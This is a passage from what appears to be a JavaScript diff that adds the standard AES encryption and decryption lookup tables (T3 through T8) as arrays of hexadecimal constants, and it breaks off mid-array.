0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; +const T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; +const T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; +// Transformations for decryption +const T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; +const T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; +const T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]; +const T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 